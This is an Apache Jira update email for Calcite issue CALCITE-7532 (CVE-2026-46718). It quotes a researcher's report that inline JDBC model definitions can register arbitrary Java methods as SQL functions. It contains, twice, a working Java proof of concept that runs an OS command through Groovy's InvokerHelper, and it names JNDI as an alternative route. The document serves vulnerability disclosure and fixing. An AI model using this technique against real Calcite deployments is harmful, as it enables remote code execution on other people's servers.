[ 
https://issues.apache.org/jira/browse/CALCITE-7532?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
 ]

Julian Hyde updated CALCITE-7532:
---------------------------------
    Description: 
(This issue was previously logged with the subject 'Model usability'.)

[CVE-2026-46718|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2026-46718] is a 
vulnerability that allows a user-controled model to load arbitrary classes, 
leading to code execution.

Here is the initial report (credit to pyn3rd, uname, 4ra1n):
{quote}--------------------------------------------------------------------------------
1. AFFECTED COMPONENT
--------------------------------------------------------------------------------

Product: Apache Calcite
Component: calcite-core (JDBC Driver / Inline Model Parser)
Version: 1.41.0 (latest as of report date; earlier versions likely affected)
Artifact: org.apache.calcite:calcite-core:1.41.0

--------------------------------------------------------------------------------
2. VULNERABILITY DESCRIPTION
--------------------------------------------------------------------------------

Apache Calcite allows users to define a schema model via the JDBC connection
URL using the "model=inline:
Unknown macro: \{...}
" parameter. Within this inline model, it is
possible to register arbitrary Java static methods as custom SQL functions by
specifying a "className" and "methodName" in the schema's "functions" array.

An attacker who can influence the JDBC connection URL (or the model JSON) can
register any publicly accessible Java method — including methods from dangerous
classes such as:
 - org.codehaus.groovy.runtime.InvokerHelper#invokeMethod (RCE directly)
 - javax.naming.InitialContext.doLookup (JNDI RCE such as log4j2)
 - java.lang.System.getProperty/setProperty (JVM information leakage etc.)

Once registered, these methods can be invoked directly through SQL queries,
resulting in arbitrary operating system command execution on the server hosting
the Calcite JDBC driver.

This vulnerability requires NO authentication and NO special privileges beyond
the ability to supply a JDBC URL or model configuration string.

--------------------------------------------------------------------------------
3. ROOT CAUSE
--------------------------------------------------------------------------------

The inline model parser (org.apache.calcite.model.ModelHandler and related
classes) does not perform any allowlist/denylist validation on the "className"
or "methodName" fields when registering user-defined functions (UDFs). As a
result, any class available on the JVM classpath can be used as a UDF
implementation, including classes with dangerous side effects.

Key code path (approximate):
ModelHandler#visit(JsonFunction)
-> ReflectiveFunctionDispatcher (or similar)
-> Registers arbitrary static method as SQL scalar function
-> Callable via standard SQL SELECT statements

--------------------------------------------------------------------------------
4. PROOF OF CONCEPT
--------------------------------------------------------------------------------

The following self-contained Java program demonstrates the vulnerability.
Running it will execute the OS command "open -a calculator" (macOS) via a
Groovy runtime method registered as a Calcite SQL function.

The PoC Code and screenshot are in the attachment.

Dependencies used in PoC:
 - org.apache.calcite:calcite-core:1.41.0
 - org.apache.groovy:groovy:4.0.31

Note: The Groovy dependency is only required because the PoC uses Groovy
runtime classes. In environments where other dangerous classes are on the
classpath, exploitation may be possible without Groovy.

Even without any dependencies, RCE vulnerabilities can be implemented using 
JDK's built-in JNDI functionality. There is no need for further reference here, 
as there have been multiple JNDI vulnerabilities such as log4j in history.

--------------------------------------------------------------------------------
5. ATTACK SCENARIOS
--------------------------------------------------------------------------------

Scenario A - Direct JDBC URL Control:
Any application that allows end-users to supply a JDBC URL (e.g., database
management tools, BI platforms, data integration tools using Calcite) is
directly exploitable.

Scenario B - Model File / Configuration Injection:
If an attacker can write to or influence a Calcite model JSON file referenced
by a server-side application, they can inject malicious function definitions
and achieve RCE when the application connects.

Scenario C - Multi-tenant / Shared Calcite Deployments:
In environments where multiple tenants share a Calcite instance and can
define their own schemas or models, a malicious tenant can escalate to full
OS-level code execution.

--------------------------------------------------------------------------------
6. IMPACT
--------------------------------------------------------------------------------
 - Confidentiality: COMPLETE — attacker can read any file accessible to the
JVM process.
 - Integrity: COMPLETE — attacker can write, modify, or delete files.
 - Availability: COMPLETE — attacker can terminate processes or exhaust
resources.
 - Scope: The vulnerability affects the host OS, not just the JVM.{quote}
{code:java}
package calcite;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class addfuntiocnpoc {
    public static void main(String[] args) throws Exception{
        String model = "inline:{" +
                "\"version\":\"1.0\"," +
                "\"defaultSchema\":\"hack\"," +
                "\"schemas\":[{" +
                "\"name\":\"hack\"," +
                "\"functions\":[{" +
                "\"name\":\"INVOKE\"," +
                "\"className\":\"org.codehaus.groovy.runtime.InvokerHelper\"," +
                "\"methodName\":\"invokeMethod\"" +
                "}]" +
                "}]" +
                "}";

        String jdbcUrl = 
"jdbc:calcite:lex=MYSQL_ANSI;conformance=LENIENT;model=" + model;

        try (Connection conn = DriverManager.getConnection(jdbcUrl)) {
            Statement stmt = conn.createStatement();
            try {
                String sql = "SELECT \"INVOKE\"(CAST('open -a calculator' AS 
VARCHAR), CAST('execute' AS VARCHAR), CAST(null AS VARCHAR)) FROM (VALUES(1))";
                ResultSet rs = stmt.executeQuery(sql);
                if (rs.next()) {
                    Object result = rs.getObject(1);
                    System.out.println("  │ [+] result: " + result);
                }
                rs.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}
{code}

  was:
Apache Calcite allows users to define a schema model via the JDBC connection 
URL using the {{model=inline:{...}}} parameter. Within this inline model, it is 
possible to register arbitrary Java static methods as custom SQL functions by 
specifying a {{className}} and {{methodName}} in the schema's {{functions}} 
array.

An attacker who can influence the JDBC connection URL (or the model JSON) can 
register any publicly accessible Java method — including methods from dangerous 
classes such as:
* {{org.codehaus.groovy.runtime.InvokerHelper#invokeMethod}} (RCE directly)
* {{javax.naming.InitialContext.doLookup}} (JNDI RCE such as log4j2)
* {{java.lang.System.getProperty/setProperty}} (JVM information leakage etc.)

Once registered, these methods can be invoked directly through SQL queries, 
resulting in arbitrary operating system command execution on the server hosting 
the Calcite JDBC driver.

This vulnerability requires NO authentication and NO special privileges beyond 
the ability to supply a JDBC URL or model configuration string.


> A user-controled model can load arbitrary classes, leading to code execution 
> (CVE-2026-46718)
> ---------------------------------------------------------------------------------------------
>
>                 Key: CALCITE-7532
>                 URL: https://issues.apache.org/jira/browse/CALCITE-7532
>             Project: Calcite
>          Issue Type: Bug
>            Reporter: Julian Hyde
>            Assignee: Julian Hyde
>            Priority: Major
>             Fix For: 1.42.0
>
>
> (This issue was previously logged with the subject 'Model usability'.)
> [CVE-2026-46718|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2026-46718] is 
> a vulnerability that allows a user-controled model to load arbitrary classes, 
> leading to code execution.
> Here is the initial report (credit to pyn3rd, uname, 4ra1n):
> {quote}--------------------------------------------------------------------------------
> 1. AFFECTED COMPONENT
> --------------------------------------------------------------------------------
> Product: Apache Calcite
> Component: calcite-core (JDBC Driver / Inline Model Parser)
> Version: 1.41.0 (latest as of report date; earlier versions likely affected)
> Artifact: org.apache.calcite:calcite-core:1.41.0
> --------------------------------------------------------------------------------
> 2. VULNERABILITY DESCRIPTION
> --------------------------------------------------------------------------------
> Apache Calcite allows users to define a schema model via the JDBC connection
> URL using the "model=inline:
> Unknown macro: \{...}
> " parameter. Within this inline model, it is
> possible to register arbitrary Java static methods as custom SQL functions by
> specifying a "className" and "methodName" in the schema's "functions" array.
> An attacker who can influence the JDBC connection URL (or the model JSON) can
> register any publicly accessible Java method — including methods from 
> dangerous
> classes such as:
>  - org.codehaus.groovy.runtime.InvokerHelper#invokeMethod (RCE directly)
>  - javax.naming.InitialContext.doLookup (JNDI RCE such as log4j2)
>  - java.lang.System.getProperty/setProperty (JVM information leakage etc.)
> Once registered, these methods can be invoked directly through SQL queries,
> resulting in arbitrary operating system command execution on the server 
> hosting
> the Calcite JDBC driver.
> This vulnerability requires NO authentication and NO special privileges beyond
> the ability to supply a JDBC URL or model configuration string.
> --------------------------------------------------------------------------------
> 3. ROOT CAUSE
> --------------------------------------------------------------------------------
> The inline model parser (org.apache.calcite.model.ModelHandler and related
> classes) does not perform any allowlist/denylist validation on the "className"
> or "methodName" fields when registering user-defined functions (UDFs). As a
> result, any class available on the JVM classpath can be used as a UDF
> implementation, including classes with dangerous side effects.
> Key code path (approximate):
> ModelHandler#visit(JsonFunction)
> -> ReflectiveFunctionDispatcher (or similar)
> -> Registers arbitrary static method as SQL scalar function
> -> Callable via standard SQL SELECT statements
> --------------------------------------------------------------------------------
> 4. PROOF OF CONCEPT
> --------------------------------------------------------------------------------
> The following self-contained Java program demonstrates the vulnerability.
> Running it will execute the OS command "open -a calculator" (macOS) via a
> Groovy runtime method registered as a Calcite SQL function.
> The PoC Code and screenshot are in the attachment.
> Dependencies used in PoC:
>  - org.apache.calcite:calcite-core:1.41.0
>  - org.apache.groovy:groovy:4.0.31
> Note: The Groovy dependency is only required because the PoC uses Groovy
> runtime classes. In environments where other dangerous classes are on the
> classpath, exploitation may be possible without Groovy.
> Even without any dependencies, RCE vulnerabilities can be implemented using 
> JDK's built-in JNDI functionality. There is no need for further reference 
> here, as there have been multiple JNDI vulnerabilities such as log4j in 
> history.
> --------------------------------------------------------------------------------
> 5. ATTACK SCENARIOS
> --------------------------------------------------------------------------------
> Scenario A - Direct JDBC URL Control:
> Any application that allows end-users to supply a JDBC URL (e.g., database
> management tools, BI platforms, data integration tools using Calcite) is
> directly exploitable.
> Scenario B - Model File / Configuration Injection:
> If an attacker can write to or influence a Calcite model JSON file referenced
> by a server-side application, they can inject malicious function definitions
> and achieve RCE when the application connects.
> Scenario C - Multi-tenant / Shared Calcite Deployments:
> In environments where multiple tenants share a Calcite instance and can
> define their own schemas or models, a malicious tenant can escalate to full
> OS-level code execution.
> --------------------------------------------------------------------------------
> 6. IMPACT
> --------------------------------------------------------------------------------
>  - Confidentiality: COMPLETE — attacker can read any file accessible to the
> JVM process.
>  - Integrity: COMPLETE — attacker can write, modify, or delete files.
>  - Availability: COMPLETE — attacker can terminate processes or exhaust
> resources.
>  - Scope: The vulnerability affects the host OS, not just the JVM.{quote}
> {code:java}
> package calcite;
> import java.sql.Connection;
> import java.sql.DriverManager;
> import java.sql.ResultSet;
> import java.sql.Statement;
> public class addfuntiocnpoc {
>     public static void main(String[] args) throws Exception{
>         String model = "inline:{" +
>                 "\"version\":\"1.0\"," +
>                 "\"defaultSchema\":\"hack\"," +
>                 "\"schemas\":[{" +
>                 "\"name\":\"hack\"," +
>                 "\"functions\":[{" +
>                 "\"name\":\"INVOKE\"," +
>                 
> "\"className\":\"org.codehaus.groovy.runtime.InvokerHelper\"," +
>                 "\"methodName\":\"invokeMethod\"" +
>                 "}]" +
>                 "}]" +
>                 "}";
>         String jdbcUrl = 
> "jdbc:calcite:lex=MYSQL_ANSI;conformance=LENIENT;model=" + model;
>         try (Connection conn = DriverManager.getConnection(jdbcUrl)) {
>             Statement stmt = conn.createStatement();
>             try {
>                 String sql = "SELECT \"INVOKE\"(CAST('open -a calculator' AS 
> VARCHAR), CAST('execute' AS VARCHAR), CAST(null AS VARCHAR)) FROM 
> (VALUES(1))";
>                 ResultSet rs = stmt.executeQuery(sql);
>                 if (rs.next()) {
>                     Object result = rs.getObject(1);
>                     System.out.println("  │ [+] result: " + result);
>                 }
>                 rs.close();
>             } catch (Exception e) {
>                 e.printStackTrace();
>             }
>         }
>     }
> }
> {code}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

Reply via email to